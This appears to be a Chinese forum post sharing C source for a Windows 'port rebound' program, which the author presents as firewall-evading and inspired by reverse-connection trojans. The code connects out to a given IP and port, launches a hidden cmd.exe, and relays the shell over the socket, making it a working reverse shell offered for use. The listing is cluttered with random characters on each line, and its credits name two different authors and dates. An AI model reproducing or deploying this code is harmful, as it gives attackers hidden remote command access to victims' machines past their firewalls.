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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 rU7t~DKS  
B(pHo&ox  
/* ============================== U> {CG+X  
Rebound port in Windows NT wtfM }MW\  
By wind,2006/7 D!bi>]Yd  
===============================*/ <-!' V,c  
#include )umW-A  
#include h6e,w$IL  
:a M@"#F  
#pragma comment(lib,"wsock32.lib") nY?X@avo>  
n:%A4*  
void OutputShell(); m8&XW2S  
SOCKET sClient; AKAxfnaR  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Jv D`RUh  
Cx8  H  
void main(int argc,char **argv) .Mzrj{^Y  
{ vpu   
WSADATA stWsaData; Ap`D{u/  
int nRet; ~h444Hp=  
SOCKADDR_IN stSaiClient,stSaiServer; \3cg\Q+~  
OLDEB.@  
if(argc != 3) UG,n q  
{ {ALOs^_-  
printf("Useage:\n\rRebound DestIP DestPort\n"); -V}ZbXJD  
return; &fifOF#[ e  
} \LDcIK=  
Wu693<  
WSAStartup(MAKEWORD(2,2),&stWsaData); P)hawH=  
x_x|D|@wM  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9q"G g?  
h>"Z=y  
stSaiClient.sin_family = AF_INET; cP8@'l@!  
stSaiClient.sin_port = htons(0); Ijs=4f  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Nv\<>gA:  
@%#!-wC-5  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) yx/qp<=  
{ ^4>Icz^ F  
printf("Bind Socket Failed!\n"); \J^xpR_0u  
return; Td![Id  
} 20mZ{_%  
jp-]];:aPJ  
stSaiServer.sin_family = AF_INET; J i:0J},m  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); .n)0@X!  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %gXNWxv  
Y ^uYc}  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8j!(*'J.  
{ p9iCrqi  
printf("Connect Error!"); _ 4+=S)$  
return; ]Oe[;<I  
} m{0u+obi&w  
OutputShell(); "yxBD 7  
} e irRAU  
n/GJ&qLi:g  
void OutputShell()  %L gfi  
{ vX}mwK8  
char szBuff[1024]; | b)N;t  
SECURITY_ATTRIBUTES stSecurityAttributes; c#(&\g2H  
OSVERSIONINFO stOsversionInfo; rD U"l{cg  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; DZ0\pp?S  
STARTUPINFO stStartupInfo; Vq#_/23=$y  
char *szShell; .s<tQU  
PROCESS_INFORMATION stProcessInformation; 74*iF'f?c  
unsigned long lBytesRead; "_/5{Nc$  
hdee]qLS  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); vghn+P8  
w^QqYUL${  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |)u|@\{  
stSecurityAttributes.lpSecurityDescriptor = 0; ]ch=D  
stSecurityAttributes.bInheritHandle = TRUE; W[j7Vi8v  
XY`2>7  
@7<m.?A!  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); >eaK@u-'0  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); JZrUl^8E  
v4wXa:CJ  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); U HUO9h  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rzgzX  
stStartupInfo.wShowWindow = SW_HIDE; Zu%oIk  
stStartupInfo.hStdInput = hReadPipe; @?"t&h  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Y{ 2xokJ N  
8rsv8OO  
GetVersionEx(&stOsversionInfo); j<* `?V^  
L\UM12  
switch(stOsversionInfo.dwPlatformId) <x2 F5$@  
{ gb/M@6/j  
case 1: ]j?Kn$nv*S  
szShell = "command.com"; x+5y287#  
break; T89VSB~  
default: f7QX"p&P  
szShell = "cmd.exe"; f^X\N/  
break; pGGx.&5#82  
} hKW!kA =gZ  
{:9P4<%H  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); z?8Sie  
6 _\j_$  
send(sClient,szMsg,77,0); ihdtq  
while(1) b`sph%&  
{ EaGS}=qY5  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Y^f12%  
if(lBytesRead) /I&b5Vp  
{ T3 k#6N.  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); >qI|g={M  
send(sClient,szBuff,lBytesRead,0); ,W/D0  
} k)R>5?_  
else >K;'dB/m;1  
{ '%"#]  
lBytesRead=recv(sClient,szBuff,1024,0); vXM``|  
if(lBytesRead<=0) break; ^~dvA)bH  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); >, }m=X8  
} ZVek`Cc2  
} ".SQ*'Oc  
oFRb+H(E  
return; )(pJ~"'L  
}
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